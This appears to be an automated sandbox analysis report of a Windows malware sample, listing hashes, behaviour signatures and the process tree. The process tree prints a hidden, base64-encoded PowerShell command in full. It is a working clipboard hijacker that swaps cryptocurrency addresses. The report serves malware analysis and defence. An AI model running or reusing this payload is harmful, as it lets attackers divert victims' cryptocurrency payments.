Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/09/2026, 11:25

General

  • Target
    2026-09-05_98c31f773e112ea679a03d0dfeef8ace_cobalt-strike_icedid_stealc.exe
  • Size 110KB
  • Sample260907-njsd4swakb
  • SHA256 52f97c3dbebf066221b9fa183c0bce1e083f24d7bf7e59461eab97575a186b42
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-05_98c31f773e112ea679a03d0dfeef8ace_cobalt-strike_icedid_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-05_98c31f773e112ea679a03d0dfeef8ace_cobalt-strike_icedid_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JAByAGUAZwBlAHgAPQAnACgAWwAxADMAXQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAAWgAxAC0AOQBdAHsAMgA1ACwAMwA0AH0AKQB8ACgAYgBjADEAWwBhAC0AegAwAC0AOQBdAHsAMwA5ACwANQA5AH0AKQB8ACgAMAB4AFsAYQAtAGYARgAwAC0AOQBdAHsANAAwAH0AKQB8ACgAVABbAEEALQB6ADAALQA5AF0AewAzADMAfQApACcAOwAkAHQAYQByAGcAZQB0AD0AJAAoACgAMAAwAC4ALgAyADUANQApACsAKAAwAC4ALgA5ADkAKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAAzADQAIAB8ACAAJQAgAHsAWwBjAGgAYQByAF0AJABfAH0AKQA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAE8AUgBNAFMALgBNAEUAUwBTAEEARwBFAEIAWABYAFgAIAA7ACQAdABpAG0AZQByAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFQAaQBtAGUAcgA7ACQAdABpAG0AZQByAC4ASQBuAHQAZQByAHYAYQBsAD0AMgAwADAAOwAkAHQAaQBtAGUAcgAuAEEAZABkAF8AVABpAGMAawAoAHsAJABjAGwAaQBwAD0AWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBHAGUAdABUAGUAeAB0ACgAKQA7AGkAZgAoACQAYwBsAGkAcAAgAC0AbQBhAHQAYwBoACAAJAByAGUAZwBlAHgAKQB7ACQAcgBlAHAAbABhAGMAZQBkAD0AJABjAGwAaQBwACAALQByAGUAcABsAGEAYwBlACAAJAByAGUAZwBlAHgALAAgACQAdABhAHIAZwBlAHQAOwBpAGYAKAAkAHIAZQBwAGwAYQBjAGUAZAAgAC0AbgBlACAAJABjAGwAaQBwACkAewBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AFMAZQB0AFQAZQB4AHQAKAAkAHIAZQBwAGwAYQBjAGUAZAApAH0AfQB9ACkAOwAkAHQAaQBtAGUAcgAuAFMAdABhAHIAdAAoACkAOwBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgBdADoAOgBSAHUAbgAoACkA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1804

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_nczp3bgr.ybz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nczp3bgr.ybz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1804-0-0x000001C26CFF0000-0x000001C26D000000-memory.dmp

        memory/1804-1-0x000001C26CFF0000-0x000001C26D000000-memory.dmp

        memory/1804-7-0x000001C26D000000-0x000001C26D022000-memory.dmp

        memory/1804-10-0x000001C26CFF0000-0x000001C26D000000-memory.dmp

        memory/1804-13-0x000001C26D030000-0x000001C26D24C000-memory.dmp